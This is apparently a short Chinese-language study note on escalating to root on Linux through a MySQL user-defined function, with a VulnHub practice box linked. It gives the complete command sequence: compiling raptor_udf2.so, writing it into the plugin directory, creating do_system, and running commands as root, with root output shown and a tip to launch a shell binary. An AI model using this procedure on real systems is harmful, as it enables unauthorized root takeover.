linux下 udf提权_Linux 下 MySQL UDF 提权小记

实验环境：

Ver 14.14 Distrib 5.5.60, for debian-linux-gnu (x86_64) using readline 6.3

可用POC：

https://0xdeadbeef.info/exploits/raptor_udf2.c

https://www.exploit-db.com/exploits/1518/

提权步骤：

* $ id

* uid=500(raptor) gid=500(raptor) groups=500(raptor)

* $ gcc -g -c raptor_udf2.c

* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

(此处有坑，exploit-db中将 -Wl 写成-W1 导致编译失败，若在目标机器上编译失败时可在本机编译后上传)

* $ mysql -u root -p

* Enter password:

* [...]

* mysql# use mysql;

* mysql# create table foo(line blob);

* mysql# insert into foo values(load_file('/home/raptor/raptor_udf2.so'));

* mysql# select * from foo into dumpfile '/usr/lib/raptor_udf2.so';

(此处需要注意：动态库的放置位置为目标机器mysql插件路径，可用以下命令获取：show variables like "%plugin%";)

* mysql# create function do_system returns integer soname 'raptor_udf2.so';

* mysql# select * from mysql.func;

* +-----------+-----+----------------+----------+

* | name      | ret | dl            | type    |

* +-----------+-----+----------------+----------+

* | do_system |  2 | raptor_udf2.so | function |

* +-----------+-----+----------------+----------+

* mysql# select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');

(进行到此已可用root身份执行命令，替换id即可如：select do_system('/tmp/shell.elf'); 这将已root身份启动一个应用程序)

(chown raptor.raptor 应按实际用户身份更改)

* mysql# \! sh

* sh-2.05b$ cat /tmp/out

* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

* [...]

*/

参考文档：

http://www.91ri.org/16540.html

https://www.jianshu.com/p/5b34c1b6dee7

https://www.youtube.com/watch?v=G52yT0Gv_zc

http://www.hackingarticles.in/hack-the-raven-walkthrough-ctf-challenge/

练习题：

https://www.vulnhub.com/entry/raven-1,256/